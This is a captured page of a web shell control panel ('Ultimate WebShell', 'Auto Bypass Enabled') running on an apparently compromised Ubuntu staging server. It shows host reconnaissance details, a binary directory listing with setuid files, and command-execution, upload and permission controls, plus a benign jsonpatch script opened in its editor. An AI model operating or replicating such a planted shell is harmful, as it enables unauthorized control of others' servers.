WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core18
2979
usr
bin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-01-05 10:20:57
-
[
File
50.18 KB
0755
2018-01-18 09:43:49
aa-enabled
File
22.16 KB
0755
2023-06-13 14:19:14
aa-exec
File
22.16 KB
0755
2023-06-13 14:19:14
addpart
File
22.08 KB
0755
2020-09-16 18:43:15
apt
File
77 B
0755
2026-01-05 10:19:00
apt-cache
File
77 B
0755
2026-01-05 10:19:00
apt-get
File
77 B
0755
2026-01-05 10:19:00
arch
File
34.21 KB
0755
2018-01-18 09:43:49
awk
File
122.48 KB
0755
2018-04-03 12:34:18
b2sum
File
54.21 KB
0755
2018-01-18 09:43:49
base32
File
38.18 KB
0755
2018-01-18 09:43:49
base64
File
38.18 KB
0755
2018-01-18 09:43:49
basename
File
34.18 KB
0755
2018-01-18 09:43:49
bashbug
File
6.95 KB
0755
2022-04-18 15:08:18
bootctl
File
34.13 KB
0755
2024-08-16 14:54:17
busctl
File
66.09 KB
0755
2024-08-16 14:54:17
c_rehash
File
6.65 KB
0755
2025-09-17 14:05:41
captoinfo
File
82.11 KB
0755
2024-03-06 14:37:58
catchsegv
File
3.26 KB
0755
2025-05-26 08:18:50
cautious-launcher
File
853 B
0755
2016-07-15 12:06:12
chage
File
70.13 KB
2755
2024-02-06 12:31:54
chardet3
File
389 B
0755
2017-06-18 21:51:08
chardetect3
File
389 B
0755
2017-06-18 21:51:08
chattr
File
14 KB
0755
2022-06-02 14:37:00
chcon
File
62.18 KB
0755
2018-01-18 09:43:49
chfn
File
74.7 KB
4755
2024-02-06 12:31:54
chrt
File
30.08 KB
0755
2020-09-16 18:43:15
chsh
File
43.48 KB
4755
2024-02-06 12:31:54
cksum
File
34.18 KB
0755
2018-01-18 09:43:49
clear
File
10 KB
0755
2024-03-06 14:37:58
clear_console
File
10.07 KB
0755
2022-04-18 15:08:18
cloud-id
File
396 B
0755
2025-06-25 21:46:01
cloud-init
File
400 B
0755
2025-06-25 21:46:01
cloud-init-per
File
2.06 KB
0755
2023-04-20 21:31:09
cmp
File
46.09 KB
0755
2017-08-04 21:20:16
comm
File
38.21 KB
0755
2018-01-18 09:43:49
compose
File
17.74 KB
0755
2016-07-15 12:06:12
console-conf
File
2.86 KB
0755
2020-07-22 14:34:46
core-sshd-host-keygen
File
1.53 KB
0755
2026-01-05 10:17:00
csplit
File
50.21 KB
0755
2018-01-18 09:43:49
ctstat
File
22.35 KB
0755
2021-01-26 13:33:08
cut
File
42.21 KB
0755
2018-01-18 09:43:49
dbus-cleanup-sockets
File
9.98 KB
0755
2022-10-25 13:03:19
dbus-daemon
File
231.04 KB
0755
2022-10-25 13:03:19
dbus-monitor
File
21.99 KB
0755
2022-10-25 13:03:19
dbus-run-session
File
9.98 KB
0755
2022-10-25 13:03:19
dbus-send
File
25.98 KB
0755
2022-10-25 13:03:19
dbus-update-activation-environment
File
13.98 KB
0755
2022-10-25 13:03:19
dbus-uuidgen
File
9.98 KB
0755
2022-10-25 13:03:19
deb-systemd-helper
File
19.67 KB
0755
2017-10-25 15:38:42
deb-systemd-invoke
File
4.33 KB
0755
2017-10-25 15:38:42
delpart
File
22.08 KB
0755
2020-09-16 18:43:15
dh_bash-completion
File
2.49 KB
0755
2018-04-02 02:16:46
diff
File
142.34 KB
0755
2017-08-04 21:20:16
diff3
File
62.21 KB
0755
2017-08-04 21:20:16
dircolors
File
46.19 KB
0755
2018-01-18 09:43:49
dirname
File
30.18 KB
0755
2018-01-18 09:43:49
dpkg-deb
File
150.34 KB
0755
2022-05-25 11:14:56
du
File
98.21 KB
0755
2018-01-18 09:43:49
ec2metadata
File
7.13 KB
0755
2018-04-13 13:07:55
edit
File
17.74 KB
0755
2016-07-15 12:06:12
editor
File
1.06 MB
0755
2025-10-02 22:59:18
env
File
34.18 KB
0755
2018-01-18 09:43:49
ex
File
1.06 MB
0755
2025-10-02 22:59:18
expand
File
38.21 KB
0755
2018-01-18 09:43:49
expiry
File
22.27 KB
2755
2024-02-06 12:31:54
expr
File
46.18 KB
0755
2018-01-18 09:43:49
factor
File
74.21 KB
0755
2018-01-18 09:43:49
faillog
File
18.29 KB
0755
2024-02-06 12:31:54
fallocate
File
26.08 KB
0755
2020-09-16 18:43:15
finalrd
File
2.1 KB
0755
2020-09-10 14:54:08
find
File
232.5 KB
0755
2017-11-05 17:16:48
flock
File
30.16 KB
0755
2020-09-16 18:43:15
fmt
File
42.18 KB
0755
2018-01-18 09:43:49
fold
File
34.18 KB
0755
2018-01-18 09:43:49
free
File
18.08 KB
0755
2023-10-31 11:35:42
gdbserver
File
645.52 KB
0755
2024-06-13 03:15:46
getconf
File
30.13 KB
0755
2025-05-26 08:18:50
getent
File
30.49 KB
0755
2025-05-26 08:18:50
getopt
File
14.07 KB
0755
2020-09-16 18:43:15
gpasswd
File
74.05 KB
4755
2024-02-06 12:31:54
gpgv
File
431.02 KB
0755
2025-12-04 13:13:02
groups
File
34.18 KB
0755
2018-01-18 09:43:49
growpart
File
21.37 KB
0755
2018-04-13 13:07:55
head
File
42.21 KB
0755
2018-01-18 09:43:49
helpztags
File
2.46 KB
0755
2024-08-27 05:37:55
hostid
File
30.18 KB
0755
2018-01-18 09:43:49
hostnamectl
File
18.07 KB
0755
2024-08-16 14:54:17
i386
File
18.34 KB
0755
2020-09-16 18:43:15
iconv
File
62.25 KB
0755
2025-05-26 08:18:50
id
File
42.21 KB
0755
2018-01-18 09:43:49
infocmp
File
58.07 KB
0755
2024-03-06 14:37:58
infotocap
File
82.11 KB
0755
2024-03-06 14:37:58
install
File
142.25 KB
0755
2018-01-18 09:43:49
ionice
File
26.08 KB
0755
2020-09-16 18:43:15
ipcmk
File
26.14 KB
0755
2020-09-16 18:43:15
ipcrm
File
26.08 KB
0755
2020-09-16 18:43:15
ipcs
File
50.08 KB
0755
2020-09-16 18:43:15
iptables-xml
File
0 B
0
1970-01-01 00:00:00
ischroot
File
10.04 KB
0755
2017-12-30 18:15:02
join
File
46.21 KB
0755
2018-01-18 09:43:49
jsondiff
File
1018 B
0755
2017-10-28 20:10:15
jsonpatch
File
3.58 KB
0755
2017-10-28 20:10:15
jsonpointer
File
1.31 KB
0755
2016-05-01 23:14:11
jsonschema
File
398 B
0755
2017-11-15 19:43:29
kernel-install
File
4.4 KB
0755
2018-01-28 15:58:17
last
File
42.08 KB
0755
2020-09-16 18:43:15
lastb
File
42.08 KB
0755
2020-09-16 18:43:15
lastlog
File
18.07 KB
0755
2024-02-06 12:31:54
lcf
File
7.6 KB
0755
2018-02-26 00:58:23
ldd
File
5.3 KB
0755
2025-05-26 08:18:50
less
File
175.84 KB
0755
2024-04-28 11:42:44
lessecho
File
14.31 KB
0755
2024-04-28 11:42:44
lessfile
File
8.36 KB
0755
2019-09-03 04:41:52
lesskey
File
23.72 KB
0755
2024-04-28 11:42:44
lesspipe
File
8.36 KB
0755
2019-09-03 04:41:52
link
File
30.18 KB
0755
2018-01-18 09:43:49
linux32
File
18.34 KB
0755
2020-09-16 18:43:15
linux64
File
18.34 KB
0755
2020-09-16 18:43:15
lnstat
File
22.35 KB
0755
2021-01-26 13:33:08
locale
File
49.41 KB
0755
2025-05-26 08:18:50
locale-check
File
10 KB
0755
2024-01-02 17:19:18
localectl
File
22.07 KB
0755
2024-08-16 14:54:17
localedef
File
330.8 KB
0755
2025-05-26 08:18:50
logger
File
46.67 KB
0755
2020-09-16 18:43:15
logname
File
30.18 KB
0755
2018-01-18 09:43:49
lsattr
File
10 KB
0755
2022-06-02 14:37:00
lscpu
File
70.08 KB
0755
2020-09-16 18:43:15
lsipc
File
70.08 KB
0755
2020-09-16 18:43:15
lslocks
File
34.41 KB
0755
2020-09-16 18:43:15
lslogins
File
62.08 KB
0755
2020-09-16 18:43:15
lsmem
File
42.08 KB
0755
2020-09-16 18:43:15
lsns
File
38.08 KB
0755
2020-09-16 18:43:15
mawk
File
122.48 KB
0755
2018-04-03 12:34:18
mcookie
File
30.14 KB
0755
2020-09-16 18:43:15
md5sum
File
42.21 KB
0755
2018-01-18 09:43:49
md5sum.textutils
File
42.21 KB
0755
2018-01-18 09:43:49
mesg
File
10.07 KB
0755
2020-09-16 18:43:15
miniterm
File
34.28 KB
0755
2018-04-09 11:57:25
mkfifo
File
62.18 KB
0755
2018-01-18 09:43:49
mksquashfs
File
184.99 KB
0755
2021-09-14 08:43:17
mkswapfile
File
865 B
0755
2026-01-05 10:17:00
namei
File
26.08 KB
0755
2020-09-16 18:43:15
nawk
File
122.48 KB
0755
2018-04-03 12:34:18
newgrp
File
39.4 KB
4755
2024-02-06 12:31:54
nice
File
34.18 KB
0755
2018-01-18 09:43:49
nl
File
42.27 KB
0755
2018-01-18 09:43:49
no-apt
File
77 B
0755
2026-01-05 10:19:00
nohup
File
34.18 KB
0755
2018-01-18 09:43:49
nproc
File
34.18 KB
0755
2018-01-18 09:43:49
nsenter
File
30.28 KB
0755
2020-09-16 18:43:15
nstat
File
26.07 KB
0755
2021-01-26 13:33:08
numfmt
File
62.24 KB
0755
2018-01-18 09:43:49
od
File
66.21 KB
0755
2018-01-18 09:43:49
openssl
File
706.98 KB
0755
2025-09-17 14:05:41
pager
File
166.76 KB
0755
2024-04-28 11:42:19
partx
File
86.08 KB
0755
2020-09-16 18:43:15
passwd
File
58.24 KB
4755
2024-02-06 12:31:54
paste
File
34.21 KB
0755
2018-01-18 09:43:49
pathchk
File
34.18 KB
0755
2018-01-18 09:43:49
pdb3
File
59.87 KB
0755
2025-11-18 13:14:54
pdb3.6
File
59.87 KB
0755
2025-11-18 13:14:54
perl
File
2 MB
0755
2023-05-23 17:17:19
perl5.26.1
File
2 MB
0755
2023-05-23 17:17:19
pgrep
File
26.09 KB
0755
2023-10-31 11:35:42
pinky
File
38.21 KB
0755
2018-01-18 09:43:49
pkill
File
26.09 KB
0755
2023-10-31 11:35:42
pldd
File
14.22 KB
0755
2025-05-26 08:18:50
pmap
File
30.09 KB
0755
2023-10-31 11:35:42
pr
File
70.27 KB
0755
2018-01-18 09:43:49
print
File
17.74 KB
0755
2016-07-15 12:06:12
printenv
File
30.18 KB
0755
2018-01-18 09:43:49
printf
File
50.18 KB
0755
2018-01-18 09:43:49
prlimit
File
34.59 KB
0755
2020-09-16 18:43:15
probert
File
2.09 KB
0755
2018-10-15 10:49:55
ptx
File
70.24 KB
0755
2018-01-18 09:43:49
pwdx
File
10.07 KB
0755
2023-10-31 11:35:42
py3clean
File
7.63 KB
0755
2018-10-25 11:11:00
py3compile
File
11.83 KB
0755
2018-10-25 11:11:00
py3versions
File
11.44 KB
0755
2018-10-25 11:11:00
pydoc3
File
79 B
0755
2025-11-18 13:14:54
pydoc3.6
File
79 B
0755
2025-11-18 13:14:54
pygettext3
File
21.04 KB
0755
2025-11-18 13:14:54
pygettext3.6
File
21.04 KB
0755
2025-11-18 13:14:54
pyjwt3
File
372 B
0755
2022-07-19 06:23:32
python3
File
4.32 MB
0755
2025-11-18 13:14:54
python3-jsondiff
File
1018 B
0755
2017-10-28 20:10:15
python3-jsonpatch
File
3.58 KB
0755
2017-10-28 20:10:15
python3-jsonpointer
File
1.31 KB
0755
2016-05-01 23:14:11
python3-jsonschema
File
398 B
0755
2017-11-15 19:43:29
python3.6
File
4.32 MB
0755
2025-11-18 13:14:54
python3.6m
File
4.32 MB
0755
2025-11-18 13:14:54
python3m
File
4.32 MB
0755
2025-11-18 13:14:54
rcp
File
98.14 KB
0755
2025-02-18 13:44:19
rdma
File
26.07 KB
0755
2021-01-26 13:33:08
realpath
File
46.21 KB
0755
2018-01-18 09:43:49
rename.ul
File
14.07 KB
0755
2020-09-16 18:43:15
renice
File
14.07 KB
0755
2020-09-16 18:43:15
reset
File
22 KB
0755
2024-03-06 14:37:58
resizepart
File
38.08 KB
0755
2020-09-16 18:43:15
rev
File
10.07 KB
0755
2020-09-16 18:43:15
rgrep
File
30 B
0755
2017-07-11 13:19:59
rlogin
File
710.79 KB
0755
2025-02-18 13:44:19
routef
File
208 B
0755
2021-01-26 13:33:08
routel
File
1.62 KB
0755
2021-01-26 13:33:08
rsh
File
710.79 KB
0755
2025-02-18 13:44:19
rtstat
File
22.35 KB
0755
2021-01-26 13:33:08
run-mailcap
File
17.74 KB
0755
2016-07-15 12:06:12
runcon
File
34.18 KB
0755
2018-01-18 09:43:49
rview
File
1.06 MB
0755
2025-10-02 22:59:18
savelog
File
10.22 KB
0755
2017-12-30 18:15:02
scp
File
98.14 KB
0755
2025-02-18 13:44:19
script
File
30.07 KB
0755
2020-09-16 18:43:15
scriptreplay
File
26.08 KB
0755
2020-09-16 18:43:15
sdiff
File
50.09 KB
0755
2017-08-04 21:20:16
see
File
17.74 KB
0755
2016-07-15 12:06:12
select-editor
File
2.38 KB
0755
2018-03-12 10:17:53
sensible-browser
File
1.18 KB
0755
2018-03-12 10:17:53
sensible-editor
File
1.08 KB
0755
2018-03-12 10:17:53
sensible-pager
File
433 B
0755
2018-03-12 10:17:53
seq
File
46.18 KB
0755
2018-01-18 09:43:49
setarch
File
18.34 KB
0755
2020-09-16 18:43:15
setsid
File
10.07 KB
0755
2020-09-16 18:43:15
setterm
File
42.08 KB
0755
2020-09-16 18:43:15
sftp
File
150.35 KB
0755
2025-02-18 13:44:19
sg
File
39.4 KB
4755
2024-02-06 12:31:54
sha1sum
File
46.21 KB
0755
2018-01-18 09:43:49
sha224sum
File
54.21 KB
0755
2018-01-18 09:43:49
sha256sum
File
54.21 KB
0755
2018-01-18 09:43:49
sha384sum
File
58.21 KB
0755
2018-01-18 09:43:49
sha512sum
File
58.21 KB
0755
2018-01-18 09:43:49
shred
File
58.21 KB
0755
2018-01-18 09:43:49
shuf
File
54.18 KB
0755
2018-01-18 09:43:49
skill
File
26.08 KB
0755
2023-10-31 11:35:42
slabtop
File
18.08 KB
0755
2023-10-31 11:35:42
slogin
File
710.79 KB
0755
2025-02-18 13:44:19
snap
File
22.43 MB
0755
2026-06-29 12:01:19
snapctl
File
0 B
0
1970-01-01 00:00:00
snice
File
26.08 KB
0755
2023-10-31 11:35:42
sort
File
110.47 KB
0755
2018-01-18 09:43:49
split
File
54.63 KB
0755
2018-01-18 09:43:49
ssh
File
710.79 KB
0755
2025-02-18 13:44:19
ssh-add
File
338.13 KB
0755
2025-02-18 13:44:19
ssh-agent
File
354.14 KB
2755
2025-02-18 13:44:19
ssh-argv0
File
1.42 KB
0755
2022-03-30 13:17:14
ssh-copy-id
File
10.41 KB
0755
2017-10-02 19:34:26
ssh-keygen
File
410.16 KB
0755
2025-02-18 13:44:19
ssh-keyscan
File
414.16 KB
0755
2025-02-18 13:44:19
stat
File
78.21 KB
0755
2018-01-18 09:43:49
stdbuf
File
46.18 KB
0755
2018-01-18 09:43:49
sudo
File
145.59 KB
4755
2025-06-25 20:14:55
sudoedit
File
145.59 KB
4755
2025-06-25 20:14:55
sudoreplay
File
54.81 KB
0755
2025-06-25 20:14:55
sum
File
38.19 KB
0755
2018-01-18 09:43:49
systemd-analyze
File
1.49 MB
0755
2024-08-16 14:54:17
systemd-cat
File
10.07 KB
0755
2024-08-16 14:54:17
systemd-cgls
File
14.07 KB
0755
2024-08-16 14:54:17
systemd-cgtop
File
30.09 KB
0755
2024-08-16 14:54:17
systemd-delta
File
22.07 KB
0755
2024-08-16 14:54:17
systemd-detect-virt
File
10.06 KB
0755
2024-08-16 14:54:17
systemd-mount
File
42.09 KB
0755
2024-08-16 14:54:17
systemd-path
File
10.06 KB
0755
2024-08-16 14:54:17
systemd-resolve
File
86.07 KB
0755
2024-08-16 14:54:17
systemd-run
File
42.07 KB
0755
2024-08-16 14:54:17
systemd-socket-activate
File
18.07 KB
0755
2024-08-16 14:54:17
systemd-stdio-bridge
File
14.07 KB
0755
2024-08-16 14:54:17
systemd-umount
File
42.09 KB
0755
2024-08-16 14:54:17
tabs
File
13.99 KB
0755
2024-03-06 14:37:58
tac
File
38.18 KB
0755
2018-01-18 09:43:49
tail
File
66.24 KB
0755
2018-01-18 09:43:49
taskset
File
30.08 KB
0755
2020-09-16 18:43:15
tee
File
34.21 KB
0755
2018-01-18 09:43:49
test
File
46.18 KB
0755
2018-01-18 09:43:49
tic
File
82.11 KB
0755
2024-03-06 14:37:58
timedatectl
File
815 B
0755
2026-01-05 10:18:59
timedatectl.real
File
22.07 KB
0755
2024-08-16 14:54:17
timeout
File
38.63 KB
0755
2018-01-18 09:43:49
tload
File
14.09 KB
0755
2023-10-31 11:35:42
toe
File
13.99 KB
0755
2024-03-06 14:37:58
top
File
105.77 KB
0755
2023-10-31 11:35:42
touch
File
98.37 KB
0755
2019-09-05 10:38:40
tput
File
18.02 KB
0755
2024-03-06 14:37:58
tr
File
46.18 KB
0755
2018-01-18 09:43:49
truncate
File
38.18 KB
0755
2018-01-18 09:43:49
tset
File
22 KB
0755
2024-03-06 14:37:58
tsort
File
34.18 KB
0755
2018-01-18 09:43:49
tty
File
30.18 KB
0755
2018-01-18 09:43:49
tzselect
File
15.04 KB
0755
2025-05-26 08:18:50
ucf
File
39.73 KB
0755
2018-02-26 00:58:23
ucfq
File
18.91 KB
0755
2018-02-26 00:58:23
ucfr
File
10.47 KB
0755
2018-02-26 00:58:23
unexpand
File
38.21 KB
0755
2018-01-18 09:43:49
uniq
File
42.21 KB
0755
2018-01-18 09:43:49
unlink
File
30.18 KB
0755
2018-01-18 09:43:49
unshare
File
18.27 KB
0755
2020-09-16 18:43:15
unsquashfs
File
99.71 KB
0755
2021-09-14 08:43:17
update-alternatives
File
46.01 KB
0755
2022-05-25 11:14:56
uptime
File
10.07 KB
0755
2023-10-31 11:35:42
users
File
34.18 KB
0755
2018-01-18 09:43:49
utmpdump
File
22.07 KB
0755
2020-09-16 18:43:15
vcs-run
File
6.75 KB
0755
2018-04-13 13:07:55
vi
File
1.06 MB
0755
2025-10-02 22:59:18
view
File
1.06 MB
0755
2025-10-02 22:59:18
vim.tiny
File
1.06 MB
0755
2025-10-02 22:59:18
vmstat
File
34.09 KB
0755
2023-10-31 11:35:42
w
File
18.07 KB
0755
2023-10-31 11:35:42
w.procps
File
18.07 KB
0755
2023-10-31 11:35:42
wall
File
30.08 KB
2755
2020-09-16 18:43:15
watch
File
22.41 KB
0755
2023-10-31 11:35:42
wc
File
42.19 KB
0755
2018-01-18 09:43:49
whereis
File
26.51 KB
0755
2020-09-16 18:43:15
which
File
946 B
0755
2019-12-07 02:13:44
who
File
50.21 KB
0755
2018-01-18 09:43:49
whoami
File
30.18 KB
0755
2018-01-18 09:43:49
wpa_passphrase
File
62 KB
0755
2024-08-05 14:28:52
x86_64
File
18.34 KB
0755
2020-09-16 18:43:15
xargs
File
70.21 KB
0755
2017-11-05 17:16:48
xdg-open
File
38 B
0755
2026-01-05 10:18:59
xdg-settings
File
1.68 KB
0755
2026-01-05 10:18:59
xxd
File
18.12 KB
0755
2025-10-02 22:59:18
yes
File
30.18 KB
0755
2018-01-18 09:43:49
zdump
File
18.05 KB
0755
2025-05-26 08:18:50
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: python3-jsonpatch
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import os.path import json import jsonpatch import tempfile import argparse parser = argparse.ArgumentParser( description='Apply a JSON patch on a JSON file') parser.add_argument('ORIGINAL', type=argparse.FileType('r'), help='Original file') parser.add_argument('PATCH', type=argparse.FileType('r'), nargs='?', default=sys.stdin, help='Patch file (read from stdin if omitted)') parser.add_argument('--indent', type=int, default=None, help='Indent output by n spaces') parser.add_argument('-b', '--backup', action='store_true', help='Back up ORIGINAL if modifying in-place') parser.add_argument('-i', '--in-place', action='store_true', help='Modify ORIGINAL in-place instead of to stdout') parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + jsonpatch.__version__) def main(): try: patch_files() except KeyboardInterrupt: sys.exit(1) def patch_files(): """ Diffs two JSON files and prints a patch """ args = parser.parse_args() doc = json.load(args.ORIGINAL) patch = json.load(args.PATCH) result = jsonpatch.apply_patch(doc, patch) if args.in_place: dirname = os.path.abspath(os.path.dirname(args.ORIGINAL.name)) try: # Attempt to replace the file atomically. We do this by # creating a temporary file in the same directory as the # original file so we can atomically move the new file over # the original later. (This is done in the same directory # because atomic renames do not work across mount points.) fd, pathname = tempfile.mkstemp(dir=dirname) fp = os.fdopen(fd, 'w') atomic = True except OSError: # We failed to create the temporary file for an atomic # replace, so fall back to non-atomic mode by backing up # the original (if desired) and writing a new file. if args.backup: os.rename(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') fp = open(args.ORIGINAL.name, 'w') atomic = False else: # Since we're not replacing the original file in-place, write # the modified JSON to stdout instead. fp = sys.stdout # By this point we have some sort of file object we can write the # modified JSON to. json.dump(result, fp, indent=args.indent) fp.write('\n') if args.in_place: # Close the new file. If we aren't replacing atomically, this # is our last step, since everything else is already in place. fp.close() if atomic: try: # Complete the atomic replace by linking the original # to a backup (if desired), fixing up the permissions # on the temporary file, and moving it into place. if args.backup: os.link(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') os.chmod(pathname, os.stat(args.ORIGINAL.name).st_mode) os.rename(pathname, args.ORIGINAL.name) except OSError: # In the event we could not actually do the atomic # replace, unlink the original to move it out of the # way and finally move the temporary file into place. os.unlink(args.ORIGINAL.name) os.rename(pathname, args.ORIGINAL.name) if __name__ == "__main__": main()
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED